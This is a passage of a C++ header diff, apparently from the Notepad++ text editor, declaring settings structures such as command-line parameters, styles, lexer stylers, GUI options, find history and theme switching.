_activeView = 0; + size_t _activeMainIndex = 0; + size_t _activeSubIndex = 0; + std::vector _mainViewFiles; + std::vector _subViewFiles; +}; + + +struct CmdLineParams +{ + bool _isNoPlugin = false; + bool _isReadOnly = false; + bool _isNoSession = false; + bool _isNoTab = false; + bool _isPreLaunch = false; + bool _showLoadingTime = false; + bool _alwaysOnTop = false; + int _line2go = -1; + int _column2go = -1; + int _pos2go = -1; + + POINT _point; + bool _isPointXValid = false; + bool _isPointYValid = false; + + bool _isSessionFile = false; + bool _isRecursive = false; + + LangType _langType = L_EXTERNAL; + generic_string _localizationPath; + generic_string _easterEggName; + unsigned char _quoteType = '\0'; + + CmdLineParams() + { + _point.x = 0; + _point.y = 0; + } + + bool isPointValid() const + { + return _isPointXValid && _isPointYValid; + } +}; + +struct FloatingWindowInfo +{ + int _cont; + RECT _pos; + + FloatingWindowInfo(int cont, int x, int y, int w, int h) + : _cont(cont) + { + _pos.left = x; + _pos.top = y; + _pos.right = w; + _pos.bottom = h; + } +}; + + +struct PluginDlgDockingInfo final +{ + generic_string _name; + int _internalID = -1; + + int _currContainer = -1; + int _prevContainer = -1; + bool _isVisible = false; + + PluginDlgDockingInfo(const TCHAR* pluginName, int id, int curr, int prev, bool isVis) + : _internalID(id), _currContainer(curr), _prevContainer(prev), _isVisible(isVis), _name(pluginName) + {} + + bool operator == (const PluginDlgDockingInfo& rhs) const + { + return _internalID == rhs._internalID and _name == rhs._name; + } +}; + + +struct ContainerTabInfo final +{ + int _cont = 0; + int _activeTab = 0; + + ContainerTabInfo(int cont, int activeTab) : _cont(cont), _activeTab(activeTab) {}; +}; + + +struct DockingManagerData final +{ + int _leftWidth = 200; + int _rightWidth = 200; + int _topHeight = 200; + int _bottomHight = 200; + + std::vector _flaotingWindowInfo; + std::vector _pluginDockInfo; + std::vector _containerTabInfo; + + bool getFloatingRCFrom(int floatCont, RECT& rc) const + { + for (size_t i = 0, fwiLen = _flaotingWindowInfo.size(); i < fwiLen; ++i) + { + if (_flaotingWindowInfo[i]._cont == floatCont) + { + rc.left = _flaotingWindowInfo[i]._pos.left; + rc.top = _flaotingWindowInfo[i]._pos.top; + rc.right = _flaotingWindowInfo[i]._pos.right; + rc.bottom = _flaotingWindowInfo[i]._pos.bottom; + return true; + } + } + return false; + } +}; + + + +const int FONTSTYLE_NONE = 0; +const int FONTSTYLE_BOLD = 1; +const int FONTSTYLE_ITALIC = 2; +const int FONTSTYLE_UNDERLINE = 4; + +const int STYLE_NOT_USED = -1; + +const int COLORSTYLE_FOREGROUND = 0x01; +const int COLORSTYLE_BACKGROUND = 0x02; +const int COLORSTYLE_ALL = COLORSTYLE_FOREGROUND|COLORSTYLE_BACKGROUND; + + + +struct Style +{ + int _styleID = -1; + const TCHAR* _styleDesc = nullptr; + + COLORREF _fgColor = COLORREF(STYLE_NOT_USED); + COLORREF _bgColor = COLORREF(STYLE_NOT_USED); + int _colorStyle = COLORSTYLE_ALL; + const TCHAR* _fontName = nullptr; + int _fontStyle = FONTSTYLE_NONE; + int _fontSize = STYLE_NOT_USED; + int _nesting = FONTSTYLE_NONE; + + int _keywordClass = STYLE_NOT_USED; + generic_string* _keywords = nullptr; + + + Style() = default; + + Style(const Style & style) + { + _styleID = style._styleID; + _styleDesc = style._styleDesc; + _fgColor = style._fgColor; + _bgColor = style._bgColor; + _colorStyle = style._colorStyle; + _fontName = style._fontName; + _fontSize = style._fontSize; + _fontStyle = style._fontStyle; + _keywordClass = style._keywordClass; + _nesting = style._nesting; + _keywords = (style._keywords) ? new generic_string(*(style._keywords)) : nullptr; + } + + ~Style() + { + delete _keywords; + } + + + Style& operator = (const Style & style) + { + if (this != &style) + { + _styleID = style._styleID; + _styleDesc = style._styleDesc; + _fgColor = style._fgColor; + _bgColor = style._bgColor; + _colorStyle = style._colorStyle; + _fontName = style._fontName; + _fontSize = style._fontSize; + _fontStyle = style._fontStyle; + _keywordClass = style._keywordClass; + _nesting = style._nesting; + + if (!(_keywords) && style._keywords) + _keywords = new generic_string(*(style._keywords)); + else if (_keywords && style._keywords) + _keywords->assign(*(style._keywords)); + else if (_keywords && !(style._keywords)) + { + delete (_keywords); + _keywords = nullptr; + } + } + return *this; + } + + void setKeywords(const TCHAR *str) + { + if (!_keywords) + _keywords = new generic_string(str); + else + *_keywords = str; + } +}; + + +struct GlobalOverride final +{ + bool isEnable() const {return (enableFg || enableBg || enableFont || enableFontSize || enableBold || enableItalic || enableUnderLine);} + bool enableFg = false; + bool enableBg = false; + bool enableFont = false; + bool enableFontSize = false; + bool enableBold = false; + bool enableItalic = false; + bool enableUnderLine = false; +}; + + +struct StyleArray +{ +public: + StyleArray & operator=(const StyleArray & sa) + { + if (this != &sa) + { + this->_nbStyler = sa._nbStyler; + for (int i = 0 ; i < _nbStyler ; ++i) + { + this->_styleArray[i] = sa._styleArray[i]; + } + } + return *this; + } + + int getNbStyler() const {return _nbStyler;}; + void setNbStyler(int nb) {_nbStyler = nb;}; + + Style& getStyler(size_t index) + { + assert(index < SCE_STYLE_ARRAY_SIZE); + return _styleArray[index]; + } + + bool hasEnoughSpace() {return (_nbStyler < SCE_STYLE_ARRAY_SIZE);}; + void addStyler(int styleID, TiXmlNode *styleNode); + + void addStyler(int styleID, const TCHAR *styleName) + { + _styleArray[styleID]._styleID = styleID; + _styleArray[styleID]._styleDesc = styleName; + _styleArray[styleID]._fgColor = black; + _styleArray[styleID]._bgColor = white; + ++_nbStyler; + } + + int getStylerIndexByID(int id) + { + for (int i = 0 ; i < _nbStyler ; ++i) + { + if (_styleArray[i]._styleID == id) + return i; + } + return -1; + } + + int getStylerIndexByName(const TCHAR *name) const + { + if (!name) + return -1; + for (int i = 0 ; i < _nbStyler ; ++i) + { + if (!lstrcmp(_styleArray[i]._styleDesc, name)) + return i; + } + return -1; + } + +protected: + Style _styleArray[SCE_STYLE_ARRAY_SIZE]; + int _nbStyler = 0; +}; + + + +struct LexerStyler : public StyleArray +{ +public: + LexerStyler & operator=(const LexerStyler & ls) + { + if (this != &ls) + { + *(static_cast(this)) = ls; + this->_lexerName = ls._lexerName; + this->_lexerDesc = ls._lexerDesc; + this->_lexerUserExt = ls._lexerUserExt; + } + return *this; + } + + void setLexerName(const TCHAR *lexerName) + { + _lexerName = lexerName; + } + + void setLexerDesc(const TCHAR *lexerDesc) + { + _lexerDesc = lexerDesc; + } + + void setLexerUserExt(const TCHAR *lexerUserExt) { + _lexerUserExt = lexerUserExt; + }; + + const TCHAR * getLexerName() const {return _lexerName.c_str();}; + const TCHAR * getLexerDesc() const {return _lexerDesc.c_str();}; + const TCHAR * getLexerUserExt() const {return _lexerUserExt.c_str();}; + +private : + generic_string _lexerName; + generic_string _lexerDesc; + generic_string _lexerUserExt; +}; + + + +const int MAX_LEXER_STYLE = 100; + +struct LexerStylerArray +{ +public : + LexerStylerArray() : _nbLexerStyler(0){}; + + LexerStylerArray & operator=(const LexerStylerArray & lsa) + { + if (this != &lsa) + { + this->_nbLexerStyler = lsa._nbLexerStyler; + for (int i = 0 ; i < this->_nbLexerStyler ; ++i) + this->_lexerStylerArray[i] = lsa._lexerStylerArray[i]; + } + return *this; + } + + int getNbLexer() const {return _nbLexerStyler;}; + + LexerStyler & getLexerFromIndex(int index) + { + return _lexerStylerArray[index]; + }; + + const TCHAR * getLexerNameFromIndex(int index) const {return _lexerStylerArray[index].getLexerName();} + const TCHAR * getLexerDescFromIndex(int index) const {return _lexerStylerArray[index].getLexerDesc();} + + LexerStyler * getLexerStylerByName(const TCHAR *lexerName) { + if (!lexerName) return NULL; + for (int i = 0 ; i < _nbLexerStyler ; ++i) + { + if (!lstrcmp(_lexerStylerArray[i].getLexerName(), lexerName)) + return &(_lexerStylerArray[i]); + } + return NULL; + }; + bool hasEnoughSpace() {return (_nbLexerStyler < MAX_LEXER_STYLE);}; + void addLexerStyler(const TCHAR *lexerName, const TCHAR *lexerDesc, const TCHAR *lexerUserExt, TiXmlNode *lexerNode); + void eraseAll(); +private : + LexerStyler _lexerStylerArray[MAX_LEXER_STYLE]; + int _nbLexerStyler; +}; + + +struct NewDocDefaultSettings final +{ + EolType _format = EolType::osdefault; + UniMode _unicodeMode = uniCookie; + bool _openAnsiAsUtf8 = true; + LangType _lang = L_TEXT; + int _codepage = -1; // -1 when not using +}; + + +struct LangMenuItem final +{ + LangType _langType; + int _cmdID; + generic_string _langName; + + LangMenuItem(LangType lt, int cmdID = 0, generic_string langName = TEXT("")): + _langType(lt), _cmdID(cmdID), _langName(langName){}; +}; + +struct PrintSettings final { + bool _printLineNumber = true; + int _printOption = SC_PRINT_COLOURONWHITE; + + generic_string _headerLeft; + generic_string _headerMiddle; + generic_string _headerRight; + generic_string _headerFontName; + int _headerFontStyle = 0; + int _headerFontSize = 0; + + generic_string _footerLeft; + generic_string _footerMiddle; + generic_string _footerRight; + generic_string _footerFontName; + int _footerFontStyle = 0; + int _footerFontSize = 0; + + RECT _marge; + + PrintSettings() { + _marge.left = 0; _marge.top = 0; _marge.right = 0; _marge.bottom = 0; + }; + + bool isHeaderPresent() const { + return ((_headerLeft != TEXT("")) || (_headerMiddle != TEXT("")) || (_headerRight != TEXT(""))); + }; + + bool isFooterPresent() const { + return ((_footerLeft != TEXT("")) || (_footerMiddle != TEXT("")) || (_footerRight != TEXT(""))); + }; + + bool isUserMargePresent() const { + return ((_marge.left != 0) || (_marge.top != 0) || (_marge.right != 0) || (_marge.bottom != 0)); + }; +}; + + +class Date final +{ +public: + Date() = default; + Date(unsigned long year, unsigned long month, unsigned long day) + : _year(year) + , _month(month) + , _day(day) + { + assert(year > 0 && year <= 9999); // I don't think Notepad++ will last till AD 10000 :) + assert(month > 0 && month <= 12); + assert(day > 0 && day <= 31); + assert(!(month == 2 && day > 29) && + !(month == 4 && day > 30) && + !(month == 6 && day > 30) && + !(month == 9 && day > 30) && + !(month == 11 && day > 30)); + } + + explicit Date(const TCHAR *dateStr); + + // The constructor which makes the date of number of days from now + // nbDaysFromNow could be negative if user want to make a date in the past + // if the value of nbDaysFromNow is 0 then the date will be now + Date(int nbDaysFromNow); + + void now(); + + generic_string toString() const // Return Notepad++ date format : YYYYMMDD + { + TCHAR dateStr[16]; + wsprintf(dateStr, TEXT("%04u%02u%02u"), _year, _month, _day); + return dateStr; + } + + bool operator < (const Date & compare) const + { + if (this->_year != compare._year) + return (this->_year < compare._year); + if (this->_month != compare._month) + return (this->_month < compare._month); + return (this->_day < compare._day); + } + + bool operator > (const Date & compare) const + { + if (this->_year != compare._year) + return (this->_year > compare._year); + if (this->_month != compare._month) + return (this->_month > compare._month); + return (this->_day > compare._day); + } + + bool operator == (const Date & compare) const + { + if (this->_year != compare._year) + return false; + if (this->_month != compare._month) + return false; + return (this->_day == compare._day); + } + + bool operator != (const Date & compare) const + { + if (this->_year != compare._year) + return true; + if (this->_month != compare._month) + return true; + return (this->_day != compare._day); + } + +private: + unsigned long _year = 2008; + unsigned long _month = 4; + unsigned long _day = 26; +}; + + +class MatchedPairConf final +{ +public: + bool hasUserDefinedPairs() const { return _matchedPairs.size() != 0; } + bool hasDefaultPairs() const { return _doParentheses||_doBrackets||_doCurlyBrackets||_doQuotes||_doDoubleQuotes||_doHtmlXmlTag; } + bool hasAnyPairsPair() const { return hasUserDefinedPairs() || hasDefaultPairs(); } + +public: + std::vector> _matchedPairs; + std::vector> _matchedPairsInit; // used only on init + bool _doHtmlXmlTag = false; + bool _doParentheses = false; + bool _doBrackets = false; + bool _doCurlyBrackets = false; + bool _doQuotes = false; + bool _doDoubleQuotes = false; +}; + + +struct NppGUI final +{ + NppGUI() + { + _appPos.left = 0; + _appPos.top = 0; + _appPos.right = 1100; + _appPos.bottom = 700; + + _defaultDir[0] = 0; + _defaultDirExp[0] = 0; + } + + toolBarStatusType _toolBarStatus = TB_STANDARD; + bool _toolbarShow = true; + bool _statusBarShow = true; + bool _menuBarShow = true; + + // 1st bit : draw top bar; + // 2nd bit : draw inactive tabs + // 3rd bit : enable drag & drop + // 4th bit : reduce the height + // 5th bit : enable vertical + // 6th bit : enable multiline + + // 0:don't draw; 1:draw top bar 2:draw inactive tabs 3:draw both 7:draw both+drag&drop + int _tabStatus = (TAB_DRAWTOPBAR | TAB_DRAWINACTIVETAB | TAB_DRAGNDROP | TAB_REDUCE | TAB_CLOSEBUTTON); + + bool _splitterPos = POS_VERTICAL; + int _userDefineDlgStatus = UDD_DOCKED; + + int _tabSize = 4; + bool _tabReplacedBySpace = false; + + ChangeDetect _fileAutoDetection = cdEnabled; + ChangeDetect _fileAutoDetectionOriginalValue = cdEnabled; + bool _checkHistoryFiles = false; + + RECT _appPos; + + bool _isMaximized = false; + bool _isMinimizedToTray = false; + bool _rememberLastSession = true; // remember next session boolean will be written in the settings + bool _isCmdlineNosessionActivated = false; // used for if -nosession is indicated on the launch time + bool _detectEncoding = true; + bool _doTaskList = true; + bool _maitainIndent = true; + bool _enableSmartHilite = true; + + bool _smartHiliteCaseSensitive = false; + bool _smartHiliteWordOnly = true; + bool _smartHiliteUseFindSettings = false; + bool _smartHiliteOnAnotherView = false; + + bool _disableSmartHiliteTmp = false; + bool _enableTagsMatchHilite = true; + bool _enableTagAttrsHilite = true; + bool _enableHiliteNonHTMLZone = false; + bool _styleMRU = true; + char _leftmostDelimiter = '('; + char _rightmostDelimiter = ')'; + bool _delimiterSelectionOnEntireDocument = false; + bool _backSlashIsEscapeCharacterForSql = true; + + bool _isWordCharDefault = true; + std::string _customWordChars; + + // 0 : do nothing + // 1 : don't draw underline + // 2 : draw underline + int _styleURL = 2; + + NewDocDefaultSettings _newDocDefaultSettings; + + + void setTabReplacedBySpace(bool b) {_tabReplacedBySpace = b;}; + const NewDocDefaultSettings & getNewDocDefaultSettings() const {return _newDocDefaultSettings;}; + std::vector _excludedLangList; + bool _isLangMenuCompact = true; + + PrintSettings _printSettings; + BackupFeature _backup = bak_none; + bool _useDir = false; + generic_string _backupDir; + DockingManagerData _dockingData; + GlobalOverride _globalOverride; + enum AutocStatus{autoc_none, autoc_func, autoc_word, autoc_both}; + AutocStatus _autocStatus = autoc_both; + size_t _autocFromLen = 1; + bool _autocIgnoreNumbers = true; + bool _funcParams = true; + MatchedPairConf _matchedPairConf; + + generic_string _definedSessionExt; + generic_string _definedWorkspaceExt; + + struct AutoUpdateOptions + { + bool _doAutoUpdate = true; + int _intervalDays = 15; + Date _nextUpdateDate; + AutoUpdateOptions(): _nextUpdateDate(Date()) {}; + } + _autoUpdateOpt; + + bool _doesExistUpdater = false; + int _caretBlinkRate = 600; + int _caretWidth = 1; + bool _enableMultiSelection = false; + + bool _shortTitlebar = false; + + OpenSaveDirSetting _openSaveDir = dir_followCurrent; + + TCHAR _defaultDir[MAX_PATH]; + TCHAR _defaultDirExp[MAX_PATH]; //expanded environment variables + generic_string _themeName; + MultiInstSetting _multiInstSetting = monoInst; + bool _fileSwitcherWithoutExtColumn = false; + bool isSnapshotMode() const {return _isSnapshotMode && _rememberLastSession && !_isCmdlineNosessionActivated;}; + bool _isSnapshotMode = true; + size_t _snapshotBackupTiming = 7000; + generic_string _cloudPath; // this option will never be read/written from/to config.xml + unsigned char _availableClouds = '\0'; // this option will never be read/written from/to config.xml + bool _useNewStyleSaveDlg = false; + + enum SearchEngineChoice{ se_custom = 0, se_duckDuckGo = 1, se_google = 2, se_bing = 3, se_yahoo = 4 }; + SearchEngineChoice _searchEngineChoice = se_google; + generic_string _searchEngineCustom; + + bool _isFolderDroppedOpenFiles = false; + + bool _isDocPeekOnTab = false; + bool _isDocPeekOnMap = false; +}; + +struct ScintillaViewParams +{ + bool _lineNumberMarginShow = true; + bool _bookMarkMarginShow = true; + folderStyle _folderStyle = FOLDER_STYLE_BOX; //"simple", "arrow", "circle", "box" and "none" + lineWrapMethod _lineWrapMethod = LINEWRAP_ALIGNED; + bool _foldMarginShow = true; + bool _indentGuideLineShow = true; + bool _currentLineHilitingShow = true; + bool _wrapSymbolShow = false; + bool _doWrap = false; + int _edgeMode = EDGE_NONE; + int _edgeNbColumn = 80; + int _zoom = 0; + int _zoom2 = 0; + bool _whiteSpaceShow = false; + bool _eolShow = false; + int _borderWidth = 2; + bool _scrollBeyondLastLine = false; + bool _disableAdvancedScrolling = false; + bool _doSmoothFont = false; + bool _showBorderEdge = true; +}; + +const int NB_LIST = 20; +const int NB_MAX_LRF_FILE = 30; +const int NB_MAX_USER_LANG = 30; +const int NB_MAX_EXTERNAL_LANG = 30; +const int NB_MAX_IMPORTED_UDL = 50; + +const int NB_MAX_FINDHISTORY_FIND = 30; +const int NB_MAX_FINDHISTORY_REPLACE = 30; +const int NB_MAX_FINDHISTORY_PATH = 30; +const int NB_MAX_FINDHISTORY_FILTER = 20; + + +const int MASK_ReplaceBySpc = 0x80; +const int MASK_TabSize = 0x7F; + + + + +struct Lang final +{ + LangType _langID = L_TEXT; + generic_string _langName; + const TCHAR *_defaultExtList = nullptr; + const TCHAR *_langKeyWordList[NB_LIST]; + const TCHAR *_pCommentLineSymbol = nullptr; + const TCHAR *_pCommentStart = nullptr; + const TCHAR *_pCommentEnd = nullptr; + + bool _isTabReplacedBySpace = false; + int _tabSize = -1; + + Lang() + { + for (int i = 0 ; i < NB_LIST ; _langKeyWordList[i] = NULL, ++i); + } + + Lang(LangType langID, const TCHAR *name) : _langID(langID), _langName(name ? name : TEXT("")) + { + for (int i = 0 ; i < NB_LIST ; _langKeyWordList[i] = NULL, ++i); + } + + ~Lang() = default; + + void setDefaultExtList(const TCHAR *extLst){ + _defaultExtList = extLst; + } + + void setCommentLineSymbol(const TCHAR *commentLine){ + _pCommentLineSymbol = commentLine; + } + + void setCommentStart(const TCHAR *commentStart){ + _pCommentStart = commentStart; + } + + void setCommentEnd(const TCHAR *commentEnd){ + _pCommentEnd = commentEnd; + } + + void setTabInfo(int tabInfo) + { + if (tabInfo != -1 && tabInfo & MASK_TabSize) + { + _isTabReplacedBySpace = (tabInfo & MASK_ReplaceBySpc) != 0; + _tabSize = tabInfo & MASK_TabSize; + } + } + + const TCHAR * getDefaultExtList() const { + return _defaultExtList; + } + + void setWords(const TCHAR *words, int index) { + _langKeyWordList[index] = words; + } + + const TCHAR * getWords(int index) const { + return _langKeyWordList[index]; + } + + LangType getLangID() const {return _langID;}; + const TCHAR * getLangName() const {return _langName.c_str();}; + + int getTabInfo() const + { + if (_tabSize == -1) return -1; + return (_isTabReplacedBySpace?0x80:0x00) | _tabSize; + } +}; + + + +class UserLangContainer final +{ +public: + UserLangContainer() :_name(TEXT("new user define")), _ext(TEXT("")), _udlVersion(TEXT("")) + { + init(); + } + + UserLangContainer(const TCHAR *name, const TCHAR *ext, const TCHAR *udlVer) : _name(name), _ext(ext), _udlVersion(udlVer) + { + init(); + } + + UserLangContainer & operator = (const UserLangContainer & ulc) + { + if (this != &ulc) + { + this->_name = ulc._name; + this->_ext = ulc._ext; + this->_udlVersion = ulc._udlVersion; + this->_isCaseIgnored = ulc._isCaseIgnored; + this->_styleArray = ulc._styleArray; + this->_allowFoldOfComments = ulc._allowFoldOfComments; + this->_forcePureLC = ulc._forcePureLC; + this->_decimalSeparator = ulc._decimalSeparator; + this->_foldCompact = ulc._foldCompact; + int nbStyler = this->_styleArray.getNbStyler(); + for (int i = 0 ; i < nbStyler ; ++i) + { + Style & st = this->_styleArray.getStyler(i); + if (st._bgColor == COLORREF(-1)) + st._bgColor = white; + if (st._fgColor == COLORREF(-1)) + st._fgColor = black; + } + + for (int i = 0 ; i < SCE_USER_KWLIST_TOTAL ; ++i) + lstrcpy(this->_keywordLists[i], ulc._keywordLists[i]); + + for (int i = 0 ; i < SCE_USER_TOTAL_KEYWORD_GROUPS ; ++i) + _isPrefix[i] = ulc._isPrefix[i]; + } + return *this; + } + + const TCHAR * getName() {return _name.c_str();}; + const TCHAR * getExtention() {return _ext.c_str();}; + const TCHAR * getUdlVersion() {return _udlVersion.c_str();}; + +private: + StyleArray _styleArray; + generic_string _name; + generic_string _ext; + generic_string _udlVersion; + + TCHAR _keywordLists[SCE_USER_KWLIST_TOTAL][max_char]; + bool _isPrefix[SCE_USER_TOTAL_KEYWORD_GROUPS]; + + bool _isCaseIgnored; + bool _allowFoldOfComments; + int _forcePureLC; + int _decimalSeparator; + bool _foldCompact; + + // nakama zone + friend class Notepad_plus; + friend class ScintillaEditView; + friend class NppParameters; + + friend class SharedParametersDialog; + friend class FolderStyleDialog; + friend class KeyWordsStyleDialog; + friend class CommentStyleDialog; + friend class SymbolsStyleDialog; + friend class UserDefineDialog; + friend class StylerDlg; + + void init() + { + _forcePureLC = PURE_LC_NONE; + _decimalSeparator = DECSEP_DOT; + _foldCompact = false; + _isCaseIgnored = false; + _allowFoldOfComments = false; + + for (int i = 0; i < SCE_USER_KWLIST_TOTAL; ++i) + *_keywordLists[i] = '\0'; + + for (int i = 0; i < SCE_USER_TOTAL_KEYWORD_GROUPS; ++i) + _isPrefix[i] = false; + } +}; + +#define MAX_EXTERNAL_LEXER_NAME_LEN 16 +#define MAX_EXTERNAL_LEXER_DESC_LEN 32 + + + +class ExternalLangContainer final +{ +public: + TCHAR _name[MAX_EXTERNAL_LEXER_NAME_LEN]; + TCHAR _desc[MAX_EXTERNAL_LEXER_DESC_LEN]; + + ExternalLangContainer(const TCHAR* name, const TCHAR* desc) + { + generic_strncpy(_name, name, MAX_EXTERNAL_LEXER_NAME_LEN); + generic_strncpy(_desc, desc, MAX_EXTERNAL_LEXER_DESC_LEN); + } +}; + + +struct FindHistory final +{ + enum searchMode{normal, extended, regExpr}; + enum transparencyMode{none, onLossingFocus, persistant}; + + int _nbMaxFindHistoryPath = 10; + int _nbMaxFindHistoryFilter = 10; + int _nbMaxFindHistoryFind = 10; + int _nbMaxFindHistoryReplace = 10; + + std::vector _findHistoryPaths; + std::vector _findHistoryFilters; + std::vector _findHistoryFinds; + std::vector _findHistoryReplaces; + + bool _isMatchWord = false; + bool _isMatchCase = false; + bool _isWrap = true; + bool _isDirectionDown = true; + bool _dotMatchesNewline = false; + + bool _isFifRecuisive = true; + bool _isFifInHiddenFolder = false; + + searchMode _searchMode = normal; + transparencyMode _transparencyMode = onLossingFocus; + int _transparency = 150; + + bool _isDlgAlwaysVisible = false; + bool _isFilterFollowDoc = false; + bool _isFolderFollowDoc = false; +}; + + + +class LocalizationSwitcher final +{ +friend class NppParameters; +public: + struct LocalizationDefinition + { + wchar_t *_langName; + wchar_t *_xmlFileName; + }; + + bool addLanguageFromXml(std::wstring xmlFullPath); + std::wstring getLangFromXmlFileName(const wchar_t *fn) const; + + std::wstring getXmlFilePathFromLangName(const wchar_t *langName) const; + bool switchToLang(wchar_t *lang2switch) const; + + size_t size() const + { + return _localizationList.size(); + } + + std::pair getElementFromIndex(size_t index) const + { + if (index >= _localizationList.size()) + return std::pair(std::wstring(), std::wstring()); + return _localizationList[index]; + } + + void setFileName(const char *fn) + { + if (fn) + _fileName = fn; + } + + std::string getFileName() const + { + return _fileName; + } + +private: + std::vector< std::pair< std::wstring, std::wstring > > _localizationList; + std::wstring _nativeLangPath; + std::string _fileName; +}; + + +class ThemeSwitcher final +{ +friend class NppParameters; + +public: + void addThemeFromXml(generic_string xmlFullPath) + { + _themeList.push_back(std::pair(getThemeFromXmlFileName(xmlFullPath.c_str()), xmlFullPath)); + } + + void addDefaultThemeFromXml(generic_string xmlFullPath) + { + _themeList.push_back(std::pair(TEXT("Default (stylers.xml)"), xmlFullPath)); + } + + generic_string getThemeFromXmlFileName(const TCHAR *fn) const; + + generic_string getXmlFilePathFromThemeName(const TCHAR *themeName) const + { + if (!themeName || themeName[0]) + return generic_string(); + generic_string themePath = _stylesXmlPath; + return themePath; + } + + bool themeNameExists(const TCHAR *themeName) + { + for (size_t i = 0; i < _themeList.size(); ++i ) + { + if (! (getElementFromIndex(i)).first.compare(themeName)) + return true; + } + return false; + } + + size_t size() const + { + return _themeList.size(); + } + + + std::pair & getElementFromIndex(size_t index) + { + assert(index < _themeList.size()); + return _themeList[index]; + } + +private: + std::vector> _themeList; + generic_string _stylesXmlPath; +}; + + +class PluginList final +{ +public : + void add(generic_string fn, bool isInBL) + { + _list.push_back(std::pair(fn, isInBL)); + } + +private: + std::vector>_list; +}; + + +const int NB_LANG = 100; +const bool DUP = true; +const bool FREE = false; + +const int RECENTFILES_SHOWFULLPATH = -1; +const int RECENTFILES_SHOWONLYFILENAME = 0; + + + + +class NppParameters final +{ +public: + static NppParameters * getInstance() {return _pSelf;}; + static LangType getLangIDFromStr(const TCHAR *langName); + static generic_string getLocPathFromStr(const generic_string & localizationCode); + + bool load(); + bool reloadLang(); + bool reloadStylers(TCHAR *stylePath = nullptr); + void destroyInstance(); + generic_string getSettingsFolder(); + + bool _isTaskListRBUTTONUP_Active = false; + int L_END; + + const NppGUI & getNppGUI() const { + return _nppGUI; + } + + const TCHAR * getWordList(LangType langID, int typeIndex) const + { + Lang *pLang = getLangFromID(langID); + if (!pLang) return nullptr; + + return pLang->getWords(typeIndex); + } + + + Lang * getLangFromID(LangType langID) const + { + for (int i = 0 ; i < _nbLang ; ++i) + { + if ( _langList[i] && _langList[i]->_langID == langID ) + return _langList[i]; + } + return nullptr; + } + + Lang * getLangFromIndex(size_t i) const { + return (i < size_t(_nbLang)) ? _langList[i] : nullptr; + } + + int getNbLang() const {return _nbLang;}; + + LangType getLangFromExt(const TCHAR *ext); + + const TCHAR * getLangExtFromName(const TCHAR *langName) const + { + for (int i = 0 ; i < _nbLang ; ++i) + { + if (_langList[i]->_langName == langName) + return _langList[i]->_defaultExtList; + } + return nullptr; + } + + const TCHAR * getLangExtFromLangType(LangType langType) const + { + for (int i = 0 ; i < _nbLang ; ++i) + { + if (_langList[i]->_langID == langType) + return _langList[i]->_defaultExtList; + } + return nullptr; + } + + int getNbLRFile() const {return _nbRecentFile;}; + + generic_string *getLRFile(int index) const { + return _LRFileList[index]; + }; + + void setNbMaxRecentFile(int nb) { + _nbMaxRecentFile = nb; + }; + + int getNbMaxRecentFile() const {return _nbMaxRecentFile;}; + + void setPutRecentFileInSubMenu(bool doSubmenu) { + _putRecentFileInSubMenu = doSubmenu; + } + + bool putRecentFileInSubMenu() const {return _putRecentFileInSubMenu;}; + + void setRecentFileCustomLength(int len) { + _recentFileCustomLength = len; + } + + int getRecentFileCustomLength() const {return _recentFileCustomLength;}; + + + const ScintillaViewParams& getSVP() const { + return _svp; + } + + bool writeRecentFileHistorySettings(int nbMaxFile = -1) const; + bool writeHistory(const TCHAR *fullpath); + + bool writeProjectPanelsSettings() const; + bool writeFileBrowserSettings(const std::vector & rootPath, const generic_string & latestSelectedItemPath) const; + + TiXmlNode* getChildElementByAttribut(TiXmlNode *pere, const TCHAR *childName, const TCHAR *attributName, const TCHAR *attributVal) const; + + bool writeScintillaParams(); + void createXmlTreeFromGUIParams(); + + void writeStyles(LexerStylerArray & lexersStylers, StyleArray & globalStylers); + bool insertTabInfo(const TCHAR *langName, int tabInfo); + + LexerStylerArray & getLStylerArray() {return _lexerStylerArray;}; + StyleArray & getGlobalStylers() {return _widgetStyleArray;}; + + StyleArray & getMiscStylerArray() {return _widgetStyleArray;}; + GlobalOverride & getGlobalOverrideStyle() {return _nppGUI._globalOverride;}; + + COLORREF getCurLineHilitingColour(); + void setCurLineHilitingColour(COLORREF colour2Set); + + void setFontList(HWND hWnd); + bool isInFontList(const generic_string fontName2Search) const; + const std::vector& getFontList() const { return _fontlist; } + + int getNbUserLang() const {return _nbUserLang;} + UserLangContainer & getULCFromIndex(size_t i) {return *_userLangArray[i];}; + UserLangContainer * getULCFromName(const TCHAR *userLangName); + + int getNbExternalLang() const {return _nbExternalLang;}; + int getExternalLangIndexFromName(const TCHAR *externalLangName) const; + + ExternalLangContainer & getELCFromIndex(int i) {return *_externalLangArray[i];}; + + bool ExternalLangHasRoom() const {return _nbExternalLang < NB_MAX_EXTERNAL_LANG;}; + + void getExternalLexerFromXmlTree(TiXmlDocument *doc); + std::vector * getExternalLexerDoc() { return &_pXmlExternalLexerDoc; }; + + void writeUserDefinedLang(); + void writeShortcuts(); + void writeSession(const Session & session, const TCHAR *fileName = NULL); + bool writeFindHistory(); + + bool isExistingUserLangName(const TCHAR *newName) const + { + if ((!newName) || (!newName[0])) + return true; + + for (int i = 0 ; i < _nbUserLang ; ++i) + { + if (!lstrcmp(_userLangArray[i]->_name.c_str(), newName)) + return true; + } + return false; + } + + const TCHAR * getUserDefinedLangNameFromExt(TCHAR *ext, TCHAR *fullName) const; + + int addUserLangToEnd(const UserLangContainer & userLang, const TCHAR *newName); + void removeUserLang(size_t index); + + bool isExistingExternalLangName(const TCHAR *newName) const; + + int addExternalLangToEnd(ExternalLangContainer * externalLang); + + TiXmlDocumentA * getNativeLangA() const {return _pXmlNativeLangDocA;}; + + TiXmlDocument * getToolIcons() const {return _pXmlToolIconsDoc;}; + + bool isTransparentAvailable() const { + return (_transparentFuncAddr != NULL); + } + + // 0 <= percent < 256 + // if (percent == 255) then opacq + void SetTransparent(HWND hwnd, int percent); + + void removeTransparent(HWND hwnd); + + void setCmdlineParam(const CmdLineParams & cmdLineParams) + { + _cmdLineParams = cmdLineParams; + } + CmdLineParams & getCmdLineParams() {return _cmdLineParams;}; + + void setFileSaveDlgFilterIndex(int ln) {_fileSaveDlgFilterIndex = ln;}; + int getFileSaveDlgFilterIndex() const {return _fileSaveDlgFilterIndex;}; + + bool isRemappingShortcut() const {return _shortcuts.size() != 0;}; + + std::vector & getUserShortcuts() { return _shortcuts; }; + std::vector & getUserModifiedShortcuts() { return _customizedShortcuts; }; + void addUserModifiedIndex(size_t index); + + std::vector & getMacroList() { return _macros; }; + std::vector & getUserCommandList() { return _userCommands; }; + std::vector & getPluginCommandList() { return _pluginCommands; }; + std::vector & 